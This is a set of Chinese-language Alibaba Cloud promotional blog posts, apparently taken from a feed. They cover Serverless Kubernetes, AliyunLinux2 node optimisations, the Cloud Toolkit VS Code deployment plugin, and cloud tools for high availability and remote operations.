        Kubernetes的广泛应用和标准化和在带来无可置疑的价值同时,其本身的复杂性让容器管理充满挑战,包括集群节点的管理维护、集群容量规划、节点资源闲置等。面对这些传统Kubernetes集群的复杂性,阿里云容器服务团队联合弹性计算团队推出了Serverless Kubernetes容器服务(ASK),在兼容Kubernetes标准的同时极大简化了Kubernetes集群的管理,底层基于弹性容器实例ECI提供安全隔离的容器运行环境,无需购买服务器即可快速部署容器应用,让用户关注在应用开发本身而非底层的基础设施管理。目前已有非常多的客户基于ASK管理弹性、在线应用托管、CI/CD、大数据计算等场景应用。

        Serverless容器高阶功能

        ASK基于ECI提供很多丰富的功能,包括spot可抢占实例挂载eip挂载云盘和NASCI/CDGPU实例等。

        在ACK集群中同样也可以使用虚拟节点来体验Serverless容器带来的高弹性能力。

        领劵试用

        立即体验创建Serverless Kubernetes集群(只有当运行容器时才计费):https://cs.console.aliyun.com/#/k8s/cluster/createV2/serverless
        领劵地址(100元真的可以用很久):https://www.aliyun.com/daily-act/ecs/eci_freetry

        加入ASK用户钉钉群(答疑):https://qr.dingtalk.com/action/joingroup?code=v1,k1,t9A94y6nvhIMb1TFSEaQyuX+azXKfJTtEFgXuqjNfD4=&_dt_no_comment=1&origin=11

        ]]>
        容器服务ACK支持AliyunLinux2和场景优化 Fri, 02 May 2025 09:39:04 +0800

        1.前言:

        Aliyun Linux 2是新一代阿里云原生Linux操作系统,为云上应用程序提供安全、稳定、高性能的定制化运行环境,并针对云基础设施进行了深度优化,为您打造最佳的运行时体验。并免费的获得阿里云针对操作系统的长期支持。
        容器服务ACK目前已经全面支持AliyunLinux2的节点创建和加入集群,并结合AliyunLinux2的高内核特性提供了多场景的优化。

        2.使用AliyunLinux2操作系统镜像的优势:

        AliyunLinux2的操作系统是针对阿里云的飞天虚拟化平台开发的,针对阿里云的环境提供了很多优化和新特性,主要包括了:

        • 在阿里云上启动最快的Linux发行版,
        • 针对ECS大规格虚机、裸金属服务器深度优化,特别是大规格实例的多任务的场景
        • 默认安装阿里云常用软件包,如Aliyun CLI,cloud-init等,减少云资源的管理成本
        • 精简系统,最小的安全攻击面,最少的系统资源占用
        • 更完善的支持体系,在阿里云上提供多种渠道的技术支持体系
        • 更及时的软件安全漏洞(CVE)修复
        • 支持内核热补丁升级的能力,大大保障漏洞修复时的业务连续性

        用户应用实例本身在AliyunLinux2上运行也会有不错的性能表现,其中包含了:

        • 针对ECS实例环境大幅优化启动速度,在系统压力来临时快速的扩容启动计算资源,启动速度相对Centos 7提升29%
        • 针对ECS实例环境优化了多任务的场景,提升大规格实例多任务的性能,同样规格下能有16%的性能提升
        • 更高效的系统调用,系统调用的性能提升11%
        • Linux网络栈的优化,综合网络性能相对Centos 7提升7.8%
        • AliyunLinux2默认是编译好BBR的拥塞控制算法的,在公网访问较多的场景中允许用户修改拥塞控制算法为BBR,提升公网访问的带宽稳定性
        • 针对TLS协议的加密优化
        • 支持新的BFQ的IO调度器,降低云盘的延迟

        3.容器服务ACK 结合AliyunLinux2的场景优化:

        众所周知,阿里内部几乎所有业务都是容器化的,有着多年的企业级容器场景操作系统优化的经验,通过内核级的优化,让容器任务混布的密度提升的同时不影响在线业务的响应。在AliyunLinux2的操作系统和Kernel中包含了这些优化。容器服务ACK针对这些优化特性,提供了多场景的优化,促进容器化业务跑的更快更平稳:

        3.1 容器网络优化

        得益于AliyunLinux2的4.19的高内核版本,在AliyunLinux2的节点上,容器服务Terway网络插件支持IPVlan的容器网络模式,在小包的场景下相对传统bridge和策略路由网络性能提升40%。
        AliyunLinux2默认是编译了BBR的拥塞控制算法的,在公网访问较多的场景中允许用户修改容器的拥塞控制算法为BBR,提升公网访问的带宽稳定性,在容器的公网连接和跨公网的镜像拉取上性能大幅提升。

        3.2 安全容器支持和优化

        阿里云与 Kata Container 和 Clear Linux 社区合作,在弹性裸金属实例上,用户可以无缝地部署整套 Kata    Container 的解决方案,并且还优化了 RunV 容器镜像的启动时间,使得 Kata Container 的整体解决方案可以运行良好。容器服务ACK在此之上,提供了和普通集群体验几乎一致的安全沙箱容器集群,让应用运行在一个轻量虚拟机沙箱环境中,适合于多用户间的负载隔离,对不可信应用的隔离。 在提升安全性的同时,对性能影响也做到非常小。

        3.3 节点AutoScaler优化

        AliyunLinux2针对ECS实例环境大幅优化启动速度,节点的启动时间相对Centos 7的系统降低29%,结合容器服务ACK灵活高效的自动弹性伸缩,在应用压力来临时,容器服务ACK集群会自动根据负载状况创建和启动ECS的节点加入集群,并调度和启动应用实例,AliyunLinux2的快速的扩容启动的能力让计算资源可以急事满足流量峰值的需求。

        3.4 CoreDNS优化

        针对UDP协议的conntrack表的占用优化,在容器集群中部署密度高了后经常遇到DNS的解析问题,其实大部分是因为DNS查询的UDP协议对conntrack的占用太多不释放导致,而AliyunLinux2中的conntrack的优化可以让同样DNS查询频率的conntrack表占用减少一半,从而大大提高集群中应用DNS查询的成功率。

        3.5 更细粒度的资源监控和控制能力

        阿里巴巴在多年容器混布的经验中抽象出很多细粒度的资源的控制能力。在AliyunLinux2的内核中也有包含,提供了针对容器场景的PSI压力模型、per-cgroup kswapd、memory priority等的细粒度可视化和控制能力,在AliyunLinux2的容器服务ACK集群中我们可以通过CGroup Controller来利用这些能力,可以实现细粒度BufferIO Control/TCP/CPUSet/Mem/NUMA等细粒度资源的配置和动态更新,在逐步提升资源利用率的同时也能保障应用间的互相干扰降到最低。

        3.6 AI和数据加速

        AliyunLinux2对大规格机型和多任务的优化可以提升高性能计算任务的速度,对存储的流式读写的优化也可以提高模型大文件的读写性能,综合起来大大加速AI和高性能计算任务的效率,例如在实际测试场景中:

        • 通过Alluxio利用64个线程加载OSS数据1152个文件144G,在CentOS需要3m25s,AliyunLinux2只需2m19.037s,速度是Centos上的1.6倍。
        • 运行ResNet50 Batch 128模型训练,数据缓存到Alluxio中,在CentOS下V100仅仅为5212.00 images/s,在AliyunLinux2下V100可以达到8746.59 images/s,  速度是Centos上的1.7倍。

        3.7 其他

        • 基于Linux 4.19的内核将阿里巴巴的多年内核和容器化实践融入其中
        • 降低Overlayfs的性能损耗,减少容器化对存储性能的损失
        • 大量sysctl namespace化,在4.19的内核中大部分sysctl配置都支持在容器中单独设置,比如tcp的超时和重传时间,不同应用有不同的超时和重传的需求,但是在Centos 7的内核中是修改不了的,在AlinyunLinux2中支持对其做Pod级别的配置。

        4.如何使用AliyunLinux2作为集群节点系统镜像:

        1. 在阿里云容器服务ACK中创建集群 https://cs.console.aliyun.com/#/k8s/cluster/createV2/managed?template=managed-default
        2. 在创建集群的配置过程中,有个操作系统配置,其中选择 "AliyunLinux2"的操作系统并一键创建集群
        3. 等待集群创建完成后,我们就可以看到集群中的节点为"AliyunLinux2"的操作系统了

        PS: 如果是需要对镜像再做一些定制,可以基于AliyunLinux2的镜像再构建自定义镜像使用,容器服务提供了自定义容器服务节点镜像的工具:https://github.com/AliyunContainerService/ack-image-builder

        5.总结:

        AliyunLinux2的操作系统源自阿里云操作系统团队的精心调校,包含了backport的最新的内核能力,以及阿里巴巴多年的云原生和容器化的经验。容器服务ACK也结合这些特性做了丰富的场景优化,推荐大家使用。此外,容器服务也在结合SOCKMAP和TCP发送接收的零拷贝技术,让ServiceMesh对性能的损失降到最小,提供更好的ServiceMesh能力。

        参考:

        《Aliyun Linux2产品官网》https://www.alibabacloud.com/zh/products/alinux
        《阿里云操作系统及Kernel团队博客》 https://kernel.taobao.org/
        《阿里云内核开源官网》https://alibaba.github.io/cloud-kernel/zh/
        《体验 AliyunLinux2 不多花一分钱提升15%服务器性能》 https://yq.aliyun.com/articles/701433
        《Kubernetes网络的IPVlan方案》https://kernel.taobao.org/2019/11/ipvlan-for-kubernete-net/

        ]]>
        还记得那个提速 8 倍的IDEA插件吗?VS Code 版本也发布啦! Fri, 02 May 2025 09:39:04 +0800 去年,阿里云发布了本地 IDE 插件 Cloud Toolkit,仅 IntelliJ IDEA 一个平台,就有 15 万以上的开发者进行了下载,体验了一键部署带来的开发便利。时隔一年的今天,阿里云正式发布了 Visual Studio Code 版本,全面覆盖前端开发者,帮助前端实现一键打包部署,让开发提速 8 倍。

        VSCode 版本的插件,目前能做到什么?

        安装插件之后,开发者可以立即体验以下任何一个功能:

        • 将本地 Visual Studio Code 中的代码,一键打包、部署到任意的阿里云 ECS 服务器;
        • 将本地 Visual Studio Code 中的代码,一键打包、部署到任意的远程服务器;
        • 向任意的阿里云 ECS 或者 任意远程服务器 发送并执行指定的命令(下周上线);
          VSCode 版本的插件正不断更新迭代中,不久将会有更多强大的功能上线,请期待!或向我们提出需求!

        如何下载插件?

        开发者可以通过在线安装或离线安装方式来下载插件:

        • 在线安装:从 Visual Studio Code 的 Marketplace 进行安装,访问插件页面,点击这里
        • 离线安装:在插件的群里(文末扫码进群)获得离线安装包,进行离线安装;
          阿里云 Cloud Toolkit 和其他任何插件安装方式一致,因此不做赘述,下面为大家详细介绍插件功能。

        一键打包部署

        一、添加服务器

        如下图所示,在 Visual Studio Code 左侧,点击阿里云图标,在出现的菜单中,点击Alibaba Cloud Toolkit - Host View打开机器视图界面。
        lALPDgQ9rfC3WTjNAb_NAuo_746_447_png_620x10000q90g

        然后点击右上角Add Host按钮,出现添加机器界面,如下图。按照表单提示,填入对应的机器 IP,端口、用户名和密码即可。
        lALPDgQ9rfC3WTnNAb3NAuo_746_445_png_620x10000q90g

        二、部署

        lALPDgQ9rfC3WTrNAb3NAuo_746_445_png_620x10000q90g

        点击 Run Configurations - Deployments - Deploy to Host 创建一个新的部署配置,配置界面如下:
        lALPDgQ9rfC3WTvNAj7NAuo_746_574_png_620x10000q90g

        在 Deploy to Host 对话框设置部署参数,然后单击 Apply,即可保存。
        部署参数说明

        • Name:未配置定义一个名字,以便更容易区分多个配置;
        • File:选择打包方式;
        • Project:选择待部署工程的根目录;
        • Build Output Directory:打包之后的 Output 目录;
        • Webpack Configuration:Webpack 配置;
        • Target Host:部署的远程目标服务器;
        • Target Directory:远程目标服务器上的指定部署目录;
        • After deploy:输入应用启动命令,如 sh /root/restart.sh,表示在完成应用包的部署后,需要执行的命令 —— 对于 Java 程序而言,通常是一句 Tomcat 的启动命令。

        关于 Cloud Toolkit 团队

        欢迎加入我们 Cloud Toolkit 社群,随时向我们产品经理、研发团队提出新需求、优化建议、提出 Bug 等等,我们解决你的疑惑、满足你的需求、提升你的体验。现在,诚邀您一起创造一款真正属于开发者的插件,让开发部署不再繁琐。

        lADPDgQ9q_wwZq3NAUvNAUc_327_331_jpg_620x10000q90g

        钉钉进群:群号 21961177

        lALPDgQ9q_wwZr7NASzNASw_300_300_png_620x10000q90g

        微信进群:(加产品经理,拉你入群)

        ]]>
        软萌小姐姐居家直播,讲解 IDE 插件以及VS Code新版本发布,开发部署提速8倍 Fri, 02 May 2025 09:39:04 +0800 软萌音中间件小姐姐,居家直播,连麦互动,手把手教你开发部署提速8倍,2月10日晚上8点,钉钉扫码加群看直播。

        去年,阿里云发布了本地 IDE 插件 Cloud Toolkit,仅 IntelliJ IDEA 一个平台,就有 15 万以上的开发者进行了下载,体验了一键部署带来的开发便利。时隔一年的今天,阿里云正式发布了 Visual Studio Code 版本,全面覆盖前端开发者,帮助前端实现一键打包部署,让开发提速 8 倍。

        Cloud Toolkit 是免费的本地 IDE 插件,帮助开发者更高效地开发、测试、诊断并部署应用。通过插件,可以将本地应用一键部署到任意服务器,甚至云端(ECS、EDAS、ACK、ACR 和 小程序云 等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具。获查看详情:https://cn.aliyun.com/product/cloudtoolkit

        VSCode 版本的插件,目前能做到什么?

        安装插件之后,开发者可以立即体验以下任何一个功能:

        • 将本地 Visual Studio Code 中的代码,一键打包、部署到任意的阿里云 ECS 服务器;
        • 将本地 Visual Studio Code 中的代码,一键打包、部署到任意的远程服务器;
        • 向任意的阿里云 ECS 或者 任意远程服务器 发送并执行指定的命令(即将发布);

        VSCode 版本的插件正不断更新迭代中,不久将会有更多强大的功能上线,请期待!或向我们提出需求!

        如何下载插件?

        开发者可以通过在线安装或离线安装方式来下载插件:

        阿里云 Cloud Toolkit 和其他任何插件安装方式一致,因此不做赘述,下面为大家详细介绍插件功能。

        一键打包部署

        一、添加服务器

        如下图所示,在 Visual Studio Code 左侧,点击阿里云图标,在出现的菜单中,点击Alibaba Cloud Toolkit - Host View打开机器视图界面。

        然后点击右上角Add Host按钮,出现添加机器界面,如下图。按照表单提示,填入对应的机器 IP,端口、用户名和密码即可。

        二、部署

        点击 Run Configurations - Deployments - Deploy to Host 创建一个新的部署配置,配置界面如下:

        在 Deploy to Host 对话框设置部署参数,然后单击 Apply,即可保存。

        部署参数说明:

        • Name:未配置定义一个名字,以便更容易区分多个配置;
        • File:选择打包方式;
        • Project:选择待部署工程的根目录;
        • Build Output Directory:打包之后的 Output 目录;
        • Webpack Configuration:Webpack 配置;
        • Target Host:部署的远程目标服务器;
        • Target Directory:远程目标服务器上的指定部署目录;
        • After deploy:输入应用启动命令,如 sh /root/restart.sh,表示在完成应用包的部署后,需要执行的命令 —— 对于 Java 程序而言,通常是一句 Tomcat 的启动命令。

        关于 Cloud Toolkit 团队

        欢迎加入我们 Cloud Toolkit 社群,随时向我们产品经理、研发团队提出新需求、优化建议、提出 Bug 等等,我们解决你的疑惑、满足你的需求、提升你的体验。现在,诚邀您一起创造一款真正属于开发者的插件,让开发部署不再繁琐。

        钉钉扫码加群

        微信扫码,产品经理拉你进群]]>
        从一位在线教育客户的紧急咨询说起 Fri, 02 May 2025 09:39:04 +0800 “我们在 1 月底的时候遇到第一波的流量突增,主要集中在上午和晚上,可能是全国的学校已经明确了延期开学的事情,并通知各学校师生以在线教育的方式渡过困难期,当时,我们在阿里云上进行了紧急扩容来应对这波流量的突增。但我们也清楚,等正式开学,还会有更多的流量进来,而且很可能高流量会成为一种常态,这使得我们开始重新审视当前的基础设施是否能支撑未来的业务发展。”

        这段时间,遇到这类情况的客户不只这一家,我们接到了大量的来自在线教育客户的紧急咨询,需求均是是否有一些不影响现有架构的无侵入工具,能应对流量的激增情况,同时也会开始重新梳理架构和业务之间的关系。

        本文整理了阿里在高可用架构建设过程中的一些实践,分为架构设计、容量规划、业务监控、线上管控、日常巡检和常态化演练。

        架构设计

        首先要实现架构的可视化。

        通过架构感知可以全面了解云上系统架构,以可视化的方式直观呈现云上资源、容器和应用间分层依赖关系。

        服务器、存储、网络是现代云平台的基础设施,随着上云战略的推进,越来越多的企业将业务、服务、系统构建在云平台上。但开源软件和云服务的多样性,开发语言的异构性,以及企业 IT 团队的组织和能力差异,都提高了标准化的复杂性。

        因此,架构感知功能应运而生,通过采集和分析操作系统及第三方标准接口,捕捉进程级的调用关系,并使用特征库算法识别进程所使用的技术组件,最后在服务器、容器和进程这三个维度上以可视化的方式展示应用架构,给用户一张全面清晰的云上架构地图。

        其次,对强弱依赖进行梳理和应对。

        任何强依赖都要尽可能的转化成弱依赖,因为强依赖本身意味着一荣俱荣,一损俱损。有了弱依赖的引入,一旦当平台最大吞吐能力到达瓶颈时,除了入口或者 web 类应用的业务峰值流量限流可以起到第一层的保护作用外,还可以将预先标记为弱依赖的服务平滑下线,从而达到节省更多资源保障核心计算能力的目的。

        同时,还可以去除非核心对核心服务的影响,最终通过合理高效的服务降级最大程度获得业务和成本的平衡。此外,如果还能实现只需要关心如何定义资源,即哪些方法/代码块需要保护,而不需要关注如何保护这个资源。然后通过添加规则来保护资源,规则添加即时生效。这类架构的设计会更加智能。

        延伸阅读:《阿里巴巴在微服务系统下架构可视化方面的探索》

        容量规划

        外网仿真压测:
        首先需要通过一些在线压测工具高效快速构建同模型和量级的业务流量,从而全面验证和探测云上或云下整体架构(从网络接入到应用服务内再到存储层和基础设施)的瓶颈和问题。

        全链路压测:
        更进一步的,如果在生产环境想直接精准衡量业务容量的情况,可以通过更场景化的压测解决方案,例如阿里云 PTS 的相关解决方案使生产环境具备压测流量识别和路由到指定影子存储区域的能力,结合相关影子存储区域的准备,然后做到同样规模基础数据上的业务流量压测同样的生产环境,最终达到精准衡量线上生产环境的能力,当然,对于压测流水数据由于已经隔离开,所以可以方便安全的清理和维护。

        延伸阅读:《独家揭秘 | 阿里怎么做双11全链路压测?》

        业务监控

        监控的作用不言而喻,但如何通过开源的监控工具或者商业化的监控解决方案,来排查并解决各类复杂的线上问题是关键。我们很可能需要经过查看配置项、登录机器、扫描日志甚至去查离线日志等步骤,经过十几分钟才能定位到问题,有的时候甚至需要排查个大半天时间。

        一些监控大多局限在应用整体 RT、QPS 的监控和部分业务日志的监控,报警发生时,大部分情况只知道这个应用有了问题,但很难快速定位是哪里出了问题,出了什么问题。

        以阿里云的应用实时监控服务 ARMS 为例,可以能帮助用户快速构建各种环境下完整的监控体系,实现从页面到数据库、从应用性能到基础架构资源、从 IT 到业务的端到端监控。减少故障排查时间,降低跨部门沟通成本,最终降低因为故障和体验差给企业带来的损失。

        延伸阅读:《10 人,2 个月 | 虾米音乐的监控体系升级之路》

        线上管控

        对于运行态或已有应用可以通过 AHAS 探针形态在不修改代码的情况下进行业务洪峰的流量强力控制、消息场景的削峰填谷,而对于结构复杂的可以将系统内或外不稳定的因素迅速降级让业务保持稳定,同时还有单机过载保护(根据RT动态调节入口流量)的兜底能力。以上都在运行态和运维侧即可完成引入和控制。

        对于线上配置项和业务属性值通过 AHAS 开关模块的轻量级方案进行安全和统一管控,这部分能力即将开放,敬请期待。

        延伸阅读:《“国货之光” 完美日记的微服务实践和优化思路》

        日常巡检

        风险的提前暴露:通过 Advisor 智能顾问对云上主要云资源进行全面的巡检和风险识别,规则都来自于 TAM 面向客户的技术体系积累及阿里生态内 SRE 最佳实践的融合。基于前述的架构地图和用户的输入,可进行更深层次的应用/业务架构层面的巡检和建议。

        常态化演练

        AHAS 的故障演练模块遵循混沌工程实验原理并融合了阿里巴巴内部实践的经验,基于此用户可以建立流程完整而且可视化程度很高的故障演练体系,可方便的对基础资源、应用服务、容器服务和云平台 4 层进行超多维度的编排和定制,同时产品还提供了丰富的成熟故障经验库。从而帮助用户实现包括架构、业务、人员的全面高可用提升。故障演练在依赖治理、业务连续性提升和故障修复验证等场景中都有巨大作用。

        延伸阅读:《实践 | 混沌工程工具 ChaosBlade 构建高可用的分布式系统》

        “宅”在家,做主播

        远程办公,不孤单

        除了视频会议,当然还要连麦玩直播

        在家运维不用慌系列直播,火热进行中·····

        阿里云程序员/中间件小姐姐/中间件小师妹

        居家开课

        快来加入我们吧

        IMG_0243

        ]]>
        在家运维不用慌 | 盘点那些远程运维中的云上利器 Fri, 02 May 2025 09:39:04 +0800 远程办公期间,降低非必要的协作成本和本地操作,来提升开发和运维效率,显得尤为重要。此外,大量的在线教育、在线医疗等行业的客户在疫情期,遇到了流量激增的情况,那么是否有在不影响现有架构的情况下,通过一些工具型产品,就能提升业务的可用性呢?

        本文将介绍几款阿里云的开发和运维工具,优势是降低计算资源成本、提升开发运维效率、优化协作成本。

        利器一:容量规划利器 - 性能测试服务(简称PTS)

        面向群体:

        1. 性能测试人员:负责业务系统的性能验收,摸顶系统瓶颈点,转化为性能优化需求你。
        2. 运维岗位:负责系统运维,特别需要保障峰值流、新系统上线后稳定运行;
        3. 架构师:负责站点整体能力/容量规划,架构优化及性能提升。
        4. 项目的甲乙方接口人:甲方用来验收乙方交付的系统性能;乙方用来自证提交的系统性能。

        使用场景:
        a. 新系统上线
        系统上线前,需要探知站点能力,防止一上线就被用户流量打垮,提前做好准备。PTS可模拟真实业务场景进行压测,完全模拟用户行为。

        b.峰值业务稳定性保障
        类似于阿里双11大促的峰值业务稳定性考验,提前通过PTS进行模拟真实峰值流量的验证,以便保障峰值业务不受损,

        c. 站点容量规划
        很多业务新上线时为了快速占领市场,没有彻底做到最优性能,业务达到一定成熟度之后,需要进行成本优化。通过性能测试模型系统水位,可对站点进行精细化容量规划。

        d. 性能瓶颈探测
        通过全链路压测方式,可探测到系统瓶颈点,进行针对性的调优,提升整体的服务能力和吞吐量。

        e. 外包项目交接验收
        目前有比较多的软件外包行业,进行项目交付的时候需要验证性能。乙方可通过PTS进行性能验证和自证,保障交付系统的高性能;甲方可进行项目的验收,以便验证项目能符合预期。

        优势对比:
        1580969886442_26ecbff7_2fba_49ad_ad8c_559d220cb1bf

        如何计费:
        PTS *采用预付费购买资源包的形式收费,解决方案需另外按照人天计算。计费单位VUM = VU(压测任务中并发用户数)M(压测场景执行时长,按分钟粒度,不满一分钟按一分钟计算),举例:4并发用户运行2分钟即8VUM, 8并发用户运行1分钟也是8VUM。以下图为示例,便于理解:
        2

        详情链接:https://www.aliyun.com/price/product#/pts/detail

        优惠活动:
        新年大促,部分资源包低至八折!更有性能挑战赛活动,“玩转压测、赢取礼品”,参与活动续购资源包低至75折!详情了解:https://promotion.aliyun.com/ntms/act/ptsplay.html

        客户案例:
        春晚独家互动合作伙伴,在多家厂家/自建的方案评估中,最终选定了阿里云PTS。通过PTS 提前进行模拟真实业务流量、业务场景的高流量压测,提前进行模拟验证、探测系统瓶颈、调优优化,最终保障春晚互动活动顺利进行。


        利器二:降成本利器 - Serverless应用引擎(简称SAE)

        面向群体:
        a. 中小型企业业务发展很快,期望能快速交付的。
        b. 业务低峰和高峰的流量差值较大,引起 CPU/Load使用率不高、闲置资源较高,对云上资源成本有优化计划的。
        c. 业务是
        K8s 应用,面对复杂的应用管理和运维预测到会有较高的业务风险,希望能低门槛使用K8s容器技术,有相应的商业化托管产品提供技术兜底的。

        使用场景:
        a. 快速构建云上微服务应用
        通过 SAE 帮用户屏蔽底层 IaaS 购买和运维细节,屏蔽底层镜像仓库和 Kubernetes 细节,低门槛通过 WAR/JAR 方式部署微服务应用,大幅提升运维效率,让企业聚焦核心业务本身。

        b. 应用环境随需灵活启停,节省成本
        企业应用通常都有多套环境,除线上环境外,其它环境闲置率高,但重新搭建一套环境的成本也高。SAE 提供了一键启停开发测试环境的能力,即开即用,节省成本,方便运维。

        c. 利用弹性伸缩来应对不确定的突发流量
        互联网如在线医疗、在线教育、社交应用遇到流量突增时,SLA 和机器成本的平衡点不好找。SAE 提供自动弹性伸缩的能力,帮助应用自动轻松应对流量高峰,保证 SLA 的同时也节省了机器成本。

        优势对比:
        3

        如何计费:

        提供按量付费模式,计费模式同 ECS,有 vCPU 和内存两个计费项,根据客户应用选择的实际例规格,以及每个实例实际运行时长按分钟计费。详情链接:https://help.aliyun.com/document_detail/132155.html

        优惠活动:
        3月31日前,按量付费 6折特惠。预付费资源包将于3-4月上线。尝鲜地址:https://www.aliyun.com/product/edas,

        客户案例:
        武汉某在线学习的教育社交类应用,在春节期间遇到流量突增的情况且集中在上午和晚间,通过 SAE 对应用进行了平滑的扩容,确保了流量突增时的服务稳定性,同时,启用弹性伸缩功能,降低了扩容时的闲置计算资源成本。


        利器三:一键部署利器 - Cloud Toolkit

        面向群体:

        1. 适用于所有需要更高效地开发、测试、诊断并部署应用的开发者。
        2. 业务的开发迭代过程中,需要多次执行部署,希望能减少繁琐重复的部署步骤。
        3. 希望应用可以部署到任意服务器或者云端(ECS、EDAS、ACK、ACR 和 小程序云 等),并且集成很多极速开发的功能。

        使用场景:
        a. 应用部署 | 实时日志应用部署 | 实时日志
        将应用一键部署到任意服务器(Host / ECS),支持标准 SSH 协议,无需在一系列运维工具之间切换,只需在图形界面上选择目标服务器,即可实现应用快速部署。还可以部署到 K8s、镜像仓库、EDAS、SAE、小程序云等。

        b. 快速登录远程服务器
        在 IDE 内,开发者可以直接通过内置的终端 Terminal,快速登录远程服务器;不仅仅用于阿里云服务器 ECS,也可以用于 所有支持标准 SSH 协议的机器。

        c. 文件上传,命令执行
        Cloud Toolkit 帮助开发者在 IDE 内,一键将本地或者远程 URL 文件上传到服务器指定目录下去,无需在各种 FTP、SCP 工具之间频繁切换;更为重要的是,文件上传完毕后,还支持命令执行,比如:文件解压缩、程序启动等。

        d. 快速创建 Dubbo 工程
        Dubbo 采用全 Spring 配置方式,透明化接入应用,对应用没有任何 API 侵入,只需用 Spring 加载 Dubbo 的配置即可,Dubbo 基于 Spring 的 Schema 扩展 进行加载。如果不想使用 Spring 配置,可以通过 API 的方式进行调用。

        优势对比:
        4

        如何计费:
        免费——面向所有开发者。
        线上安装地址:https://cn.aliyun.com/product/cloudtoolkit
        线下获取安装包:https://help.aliyun.com/document_detail/120634.html**

        客户案例:
        武汉某在线教育公司,在人手短缺的情况下,需要快速开发新功能、上线多款在线学习、交互类应用,通过使用 Cloud Toolkit 的一键部署功能,不仅将应用快速部署到任意服务器上,而且减少了繁琐重复的部署步骤,极大提高了开发效率,让功能、应用能够达到快速上线。


        利器四:微服务注册和配置中心管理利器 - MSE

        面向群体:
        使用ZooKeeper/Nacos/Eureka 等开源项目,自建微服务注册和配置中心,但遇到较多运维难题,或投入时间较多希望能专注在业务开发的企业。

        使用场景:
        a. 微服务注册发现
        采用 Dubbo/Spring Cloud 框架作为微服务解决方案的客户,需要一个稳定的 ZooKeeper/Nacos/Eureka 集群实现微服务的注册和发现。

        b. 分布式协调
        利用 ZooKeeper/Nacos/Eureka 实现分布式配置管理、系统协调等,例如:HBase、Kafka 和 Hadoop 等。

        优势对比:
        QzpcVXNlcnNcd2Itd3h5NTg0MzIzXEFwcERhdGFcUm9hbWluZ1xEaW5nVGFsa1w2ODY4MzMyNzFfdjJcSW1hZ2VGaWxlc1wxNTgxMDY0OTY2MTIxXzM2OTA5QjUxLUQ1Q0QtNGQ5Yy1CRTA3LTBBNjJEOEY3NTUyQS5wbmc_

        如何计费:

        MSE的计费项包含MSE实例费用公网流量费用(可选项)。公网流量费用根据您的公网访问需求而定,费用与SLB产品相同。MSE实例有按量后付费(以小时计费)和预付费(包年包月)两种计费模式,计费项有引擎规格(包含CPU和内存)和节点数。详情链接:https://help.aliyun.com/document_detail/139842.html


        利器五:单体应用云上托管利器 - Web+

        面向群体:
        使用Java、Python、Node.js、PHP、Go、Ruby和.NET Core等多种语言编写并构建的Web应用、开源应用和小程序应用的企业,寻求一款免费的简单、高效、安全而又灵活的对应用进行部署、伸缩、调整和监控的云上托管服务。

        使用场景:
        a. 普通Web应用托管
        单机部署模式下,反向代理、用户的应用程序和数据库等均部署在一台主机上,最大限度的解决资源和成本问题。分布式部署模式下,用户的应用可以使用弹性能力方便的进行横向扩展,再通过SLB对请求进行负载均衡。

        b. 开源应用托管
        由于运行应用所需的运行时环境各不相同,在Web+插件体系的支撑下,开源应用将可以按需依赖任何第三方组件,而无需等待Web+产品对此进行官方支持。

        c. 小程序应用托管
        小程序移动应用的前后端是严格分离的,前端程序运行在宿主应用中,后端程序运行在云厂商提供的基础设施服务之上。使用Web+可以轻松运维小程序移动应用的后端部分。

        如何计费:

        开通和应用托管功能均是免费。免费使用地址:https://www.aliyun.com/product/webx


        利器六:微服务应用托管和治理利器 - EDAS

        面向群体:

        1. 微服务架构是 Spring Cloud 或是 Dubbo 的中小型或传统企业,业务发展很快,期望能快速交付的,但由于研发时间成本太高,试错带来的稳定性风险太高。
          b. 业务是

        K8s 应用,面对复杂的应用管理和运维预测到会有较高的业务风险,希望能低门槛使用K8s容器技术,有相应的商业化托管产品提供技术兜底的。

        使用场景:
        a. 快速构建云上微服务应用
        通过 WAR 包、JAR 包或镜像等多种方式快速部署应用,基于 ECS 提供全应用生命周期管理,包括发布、回滚、应用分组管理、多版本并存,并集成监控,日志等能力,极大的提升了 ECS 的集群管理效率。

        b. 提高线上微服务应用的稳定性
        0 代码侵入就能完成 Dubbo 和 Spring Cloud 应用上云,支持全链路灰度、单点异常自动摘除、派克岛迭代等多种微服务治理高级特性,提升微服务应用的可用性。

        如何计费:

        提供按量付费和包年包月两种计费模式,并提供了标准版、专业版不同的价格套餐,方便客户根据实际情况选择性价比最高的接入方式,详情链接:https://help.aliyun.com/document_detail/44682.html

        优惠活动:
        1-5个应用实际例免费使用,包年包月新购客户,享 8 折优惠。试用地址:https://www.aliyun.com/product/edas,

        客户案例:
        上海某社交互联网客户借助 EDAS 很好地实现业务层的服务调用,如用户推荐、动态展示等,并利用 EDAS 命令空间的特性,有效进行生产环境和测试环境的隔离,从而保证应用部署环境的一致性和可控性。EDAS 提供的应用生命周期管理能力,极大地减少了运维人员的运维难度,轻松应对春节期间的流量突增情况。


        利器七:云上监控利器 - 应用实时监控服务ARMS

        面向群体:
        需要监控Java,PHP等后端应用和网页,小程序,APP等前端应用的企业运维开发团队。
        开发:

        • 现状:应用出现异常和性能问题,不知从何下手
        • 需求:快速确认异常信息和性能瓶颈
        • 我们的价值:提高排查效率,缩短问题修复时间。

        运维:

        • 现状:应用出现不知道问题出在客户端,网络,还是应用本身。
        • 需求:快速确认请求全链路中的问题点
        • 我们的价值:全链路监控快速定位问题点。

        架构师:

        • 现状:应用变化较快,导致架构不清,缺乏衡量整体应用性能的指标
        • 需求:应用监控
        • 我们的价值:从用户体验角度衡量应用监控程度。

        使用场景:

        • 监控应用性能指标,第一时间发现问题。
        • 帮助运维定位故障,厘清责任。

        如何计费:
        ARMS 采用后付费和预付费购买资源包的形式收费
        应用监控采用  AgentHour :一个Agent就相当于一台ECS,Agenthour就是监控一台ECS一个小时。
        前端监控采用 PV :页面访问次数。
        价格页面说明:https://www.aliyun.com/price/product?#/arms/detail

        优惠活动:
        战疫情,推出客户关怀计划
        关怀一:ARMS 应用监控资源包限时5折(新客专享)
        关怀二:ARMS 应用监控面向容器客户全线5折
        关怀三:ARMS 前端监控计费模型更改,相当于原价1折起

        客户案例:
        上海视频类互联网客户  在架构升级的过程中,借助 ARMS 快速地实现了对业务端到端的监控。通过ARMS,用户可以实时准确的定位移动端、浏览器端、服务端产生的各类性能问题,有效的降低跨部门排障沟通成本,从而顺利实现架构的升级和调整 。


